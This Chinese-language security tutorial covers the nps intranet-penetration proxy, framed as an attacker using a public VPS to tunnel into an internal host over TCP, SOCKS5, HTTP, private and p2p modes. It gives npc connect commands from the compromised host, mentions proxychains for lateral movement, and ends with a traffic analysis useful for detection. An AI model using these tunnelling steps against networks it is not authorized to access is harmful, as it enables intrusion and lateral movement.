0x1 简介
nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持 tcp、udp 流量转发,可在网页上配置和管理各个tcp、udp隧道、内网站点代理,http、https解析等,功能强大,操作方便。
0x2 前期准备
1.安装编译
官方github下载源码进行编译:https://github.com/ehang-io/nps/
安装源码 go get -u ehang.io/nps
编译
服务端go build cmd/nps/nps.go
客户端go build cmd/npc/npc.go
官方github下载已经编译的二进制包:https://github.com/ehang-io/nps/releases
2.可通过docker安装
具体部署方式可在官方仓库拉取镜像:https://hub.docker.com/r/ffdfgdfg/npc
拉取镜像后,可通过修改nps.conf重新配置nps
0x3 实例
场景1--通过SSH访问内网设备
(1)简介
内网设备有暴露可连接的端口,比如22、3389等端口,外网无法访问。此时,攻击者可利用nps工具对内网设备进行连接。
(2)实验环境
服务端(服务端公网vps):x.x.x.x
被控端(客户端)centos7:10.8.1.1
控制端(攻击机)centos7:192.168.1.2
(3)使用
1)服务器上安装,下图为官方配置文件详解,默认配置后并启动
sudo ./nps install
sudo nps start
浏览器查看控制台服务,8024端口是nps服务端默认的绑定端口,可通过配置文件修改
2)在控制台新建一个客户端,配置密钥:1234567
3)客户端即被控端启动nps,指定vps地址和端口进行连接,控制台将会显示建立连接状态
./npc -server=x.x.x.x:8024 -vkey=1234567
4)新建一个TCP隧道,配置服务端端口:9003,目标:客户端ip:22
5)攻击机请求连接服务端ip和监听的9003端口,连接被控内网主机的ssh服务
ssh -p 9003 root@vpsip
访问控制台可见连接记录
场景2--sock5代理访问内网设备
(1)概述
环境同上,通过socks隧道建立连接。
(2)使用
1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条socks5代理,填写监听的端口(9300)。
2)在外网环境本地进行socks5代理配置。例如,用火狐浏览器配置socks5代理服务,将网络代理配置选中Socks Host,ip配置成vps的IP,端口配置刚才的监听端口9300,即可访问内网服务。
注:windows系统可以配合proxifier进行全局代理。Linux还可以使用proxychains进行socks5配置,推荐linux使用proxychains进行配置,可以更好的联合其他工具进行嗅探收集内网信息和横向移动。
场景3-http正向代理
(1)概述
环境一致,通过socks隧道建立连接。
(2)使用
1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条http代理,填写监听的端口(9301)。也可以在控面板的http代理制处,点击新增一条,客户端ID选择2。
2)同socks5代理,在外网环境的本机配置http代理,ip为公网服务器ip,端口为填写的监听端口(9301),即可完成对内网的访问。
场景4-私密代理
(1)概述
场景1的tcp隧道暴露了公网vps的监听端口。如果其他人得到了vps的ip,通过端口扫描得到了开放的端口,将会很容易连接上部署的tcp隧道,这是一个很不安全的行为。为了更加安全管理内网设备,nps支持建立私密代理,通过给隧道设置连接密码,增加了隧道的安全性和私密性。
(2)环境
环境同上,此时攻击机也需要配置nps客户端。
(3)使用
1)重启一个nps服务,并在nps控制面板上面新建一个客户端
./npc -server=vpsip:8024 -vkey=12345678
2)在nps控制面板上面新建的客户端中添加一条私密代理。目标配置成想要连接的内网机器IP:端口,此处设置为内网设备的22端口。唯一标识密钥任意设置,与客户端的唯一验证标识区别开。
2)受控内网主机启动nps客户端
3)攻击机启动npc客户端,配置类型为tcp,密码设置成私密代理的唯一标识密钥,除此之外,可加参数-local_port=xx,默认为2000。配置完成后,连接上nps服务的私密代理,ssh -p 2000 root@127.0.0.1即可访问ssh
场景5-p2p
概述
为了更快传输数据,nps支持p2p模式建立连接。
使用p2p模式前需要测试内网环境的NAT配置。内网环境一般进行了NAT配置,配置如果是对称型NAT,将极大降低内网隧道建立的可能性。对称型NAT的内网设备,攻击者使用p2p模式建立udp连接的时候,由于端口的随机可变性,将导致连接会中断。
nps可检测环境是否为对称型NAT,如图所示,内网设备为对称型NAT。由于后续无法使用vps做p2p穿透,便于测试,攻击机用内网设备进行穿透演示。
检测命令:./npc nat -stun_addr=stun服务器地址(网上可搜索公共stun服务器使用)
使用
1)服务端启动nps
2)在控制面板新建客户端
3)客户端网机器启动nps
./npc -server=x.x.x.x:8025 -vkey=1234567
3)客户端攻击机启动nps,并ssh登录客户端1。
注1:使用p2p模式时最好初始化重启服务端,有可能端口被大量占用而导致失败;注2:p2p模式没有成功简历连接时,将会转到普通的服务器进行转发的模式。
0x4 流量分析
针对场景1进行简单分析。Nps从建立连接到传输数据可分为四个阶段。
第一阶段建立连接。客户端和服务端在建立连接时,三次握手完成后,会进行协商。协商的头部会以"TST"字符串发出请求,并携带客户端的nps版本号与服务端进行确认。协商的目的是确认通信双方使用的nps版本属于同一个nps大版本下。如图所示,"0.26.0"是nps的一个大版本号,在这个大版本下有很多分支,本次测试使用的是0.26.10这个小版本分支。服务端收到协商请求确认后,将会返回服务端的nps大版本号的一个32位hash值,此处测试的nps大版本号为0.26.0。一旦双方检验通过后,返回"sucs"表示隧道协商通过,客户端通过命令"main"发起下一步的任务,至此连接完成。
第二阶段通信准备。命令从main变成了chan,表示隧道建立后,正在等待数据的传输。建立完成后,为了检验隧道处于存活状态,nps设置了5s的心跳包。如图所示,以json格式传输的内容主要包括几个部分。
"ConnType":"tcp",指定隧道为tcp隧道;
"Host":"10.8.58.239:22",表示建立隧道的客户端主机;
"Crypt":false,表示不进行加密传输
"Compress":false,",不对数据进行压缩
LocalProxy":false,不使用代理
"RemoteAddr":"x.x.x.x:53498",指定分配与被控制端ip和端口进行数据传输
"Option":{"Timeout":5000000000}},延迟5000000000,可修改;
第三阶段传输数据。在前期准备就绪后,便可以进行具体数据的传输。此处为ssh通信数据。
攻击机通过53498端口与设定的服务端监听的9003端口进行通信,转发数据;服务端的8024与9003端口在本地进行转发建立连接。
~~本文作者:Janitor010,更多更详细更专业安全文章欢迎关注公众号:捕影白帽子
版权归原作者 花灯的农场 所有, 如有侵权,请联系我们删除。